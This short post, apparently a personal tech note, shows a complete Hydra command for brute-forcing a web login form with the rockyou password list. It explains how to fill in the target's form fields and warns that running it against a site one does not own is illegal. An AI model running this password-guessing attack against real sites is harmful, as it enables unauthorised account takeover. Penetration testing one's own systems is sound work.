Hydra Command Line Arguments on Lenovo Yoga Book/Debian Linux.

Example of Hydra command line arguments that seem to be running through the iterations.

sudo hydra -l myusername -P /usr/share/dict/rockyou.txt -o output.txt thetarget.com http-post-form "/login.cfm RetURL=%2FDefault%2Easp%3F:login_name=^USER^&password=^PASS^:S=logout myusername" -vV -f

Replace myusername with your user name

Replace target.com with yourwebsite.com

Replace login_name with yourwebsite's variable for user name (Hint: View form source code)

Replace password with yourwebsite's variable name for password (Hint: View form source code)

Do not let this run through completion or to success if target.com is not a website that you own, unless you want to go to jail.